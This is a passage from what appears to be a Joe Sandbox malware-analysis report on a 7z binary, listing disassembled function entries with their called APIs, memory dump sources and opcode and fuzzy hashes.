                                                                                                                                                                                                                                                                                    • Instruction ID: 312875de45a967a857696e979c2959e9eb2f1c24c5127b77fc7781f6cff20abe
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B2D01776614684CAE7008F60E045B5AF764F388B64F480109EA8806764CBBCC19ACB00
                                                                                                                                                                                                                                                                                    Function 00C826A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1795875747-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
                                                                                                                                                                                                                                                                                    • Instruction ID: 0cf80693175bbf65d9fff225f42da0fdf2bf0bd575f529b6f60e030a733023b6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BAD0A7D170074881DE109726D4003692321B748BC8F084121DD9D07314D92CD2058B00
                                                                                                                                                                                                                                                                                    Function 00C8794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseFind
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1863332320-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
                                                                                                                                                                                                                                                                                    • Instruction ID: 1933b6682e27d1e3ffc50dcc11a11c0e208a77678eac1c1f76590d712192e201
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FDD0C77560994581EB212F79D44076413629B55F74F284310C9B4493E0EF29C5968715
                                                                                                                                                                                                                                                                                    Function 00C88BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileTime
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1425588814-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
                                                                                                                                                                                                                                                                                    • Instruction ID: af03d038f6b394baa173ddde7d54a42cf6e19ed98c8d56e08b3e8a2ff3a95021
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 32B09220B12400C2EB0C6722D89671C13616788B21FE54429C50FD5650CD1C85EA4700
                                                                                                                                                                                                                                                                                    Function 00CB3D58 Relevance: 1.3, APIs: 1, Instructions: 93COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00CB3E2A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: malloc.MSVCRT ref: 00C82134
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: _CxxThrowException.MSVCRT ref: 00C8214F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorExceptionLastThrowmalloc
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2114622545-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
                                                                                                                                                                                                                                                                                    • Instruction ID: d9b90cbf260aacdcb4fecffce4ce1fc6eb5c581c3d2113e653acbd8872f45cf6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FD31AE32201B8086DB159F25E9987ADB7A1FB84FD4F1845359F6A07764EF38CA55C300
                                                                                                                                                                                                                                                                                    Function 00CA373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
                                                                                                                                                                                                                                                                                    • Instruction ID: b64b202bae6db6c56971a71110cb0e58d92096b44011a1d709b040c4a7e98932
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A621287370429297C724DB1AB81055A7694F74BBECF245225FE6A87784EB38CA42C740
                                                                                                                                                                                                                                                                                    Function 00CA9078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(?,?,?,?,?,00CA9B61), ref: 00CA911C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: malloc.MSVCRT ref: 00C82134
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: _CxxThrowException.MSVCRT ref: 00C8214F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2847158419-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
                                                                                                                                                                                                                                                                                    • Instruction ID: f5203378caccc7181918011eb10c8191f1a70411d1c1015401e557fada5a3db5
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B2216D77201B4585DB11AF1AE81972EB3A0E789FACF198225DF690B394DF39C892C740
                                                                                                                                                                                                                                                                                    Function 00C8C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1452528299-0
                                                                                                                                                                                                                                                                                    • Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
                                                                                                                                                                                                                                                                                    • Instruction ID: f63fc00112353ee86fa91880d2525a41033c5250d3b82f2e22d57a5e7f8708cb
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1C119C3272522097CB30BB6CE0C07287240F71079CF5484B6DBDA87A10EB3ACD86A339
                                                                                                                                                                                                                                                                                    Function 00CB3EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41B9
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41C5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41D1
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41DD
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41E6
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41EF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA419C: free.MSVCRT ref: 00CA41F8
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB3F45
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
                                                                                                                                                                                                                                                                                    • Instruction ID: 546424e9a972ca8b82c7c2bd270fe796eb63039ee38d6a748ab4e28bc3ab4de1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2A014C73A20390CAC7219F5DC18116DBB24F759FE83289156EB5907760E732CC83C7A1
                                                                                                                                                                                                                                                                                    Function 00C88624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
                                                                                                                                                                                                                                                                                    • Instruction ID: 1d49f5b2b3ead00b21a0d20c0dd85fd1ae854fe475f977839eb9de05b9d48b64
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21016D763562408AE710DF14C56C35E3BA0B7D5B68F540218DBA44B3D1C77EC64ACB98
                                                                                                                                                                                                                                                                                    Function 00C8CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1452528299-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
                                                                                                                                                                                                                                                                                    • Instruction ID: 57965d91d9e656033c8fc1ddb18f23c0aeb4efeda5d97d8a161d72266c0f0e40
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 85F0556230048887CB10AF7988C063821A1FB08798F901839EF8687601E938CC998738
                                                                                                                                                                                                                                                                                    Function 00C8CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C889D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C889EA
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C8CB49
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 918212764-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
                                                                                                                                                                                                                                                                                    • Instruction ID: 1019c93aa51d9d25bbff4c72ee622f84f9b74caf5c6c76bd793cdc037a35c92b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9ED05B4175049487EF207BB998D17380081A71875AFD01539DD6BC6652E4288ECD633D
                                                                                                                                                                                                                                                                                    Function 00C83314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2162964266-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
                                                                                                                                                                                                                                                                                    • Instruction ID: 1027f3ce494e70d1863ba2881eff410419b67a236fab567bc6b51b71c3833b79
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21D05EB6B406D886CA04AB27D68151DA3219B88FD4708D4249F090B70ACE20C8E5C750
                                                                                                                                                                                                                                                                                    Function 00C889D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C889EA
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
                                                                                                                                                                                                                                                                                    • Instruction ID: aebc716b0806dc211e09d7730f08cccedb1e37c953a05997305bbf64fa328d47
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 06D0A77260194480EB252F7EC84073C1355A714B78F584310C9B44A6D0DF248ACB8305
                                                                                                                                                                                                                                                                                    Function 00C8CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
                                                                                                                                                                                                                                                                                    • Instruction ID: f8373f7ecdf410dc29c9bcbfd876817c7b7edc7a499fc9e7e0e913af44bec106
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
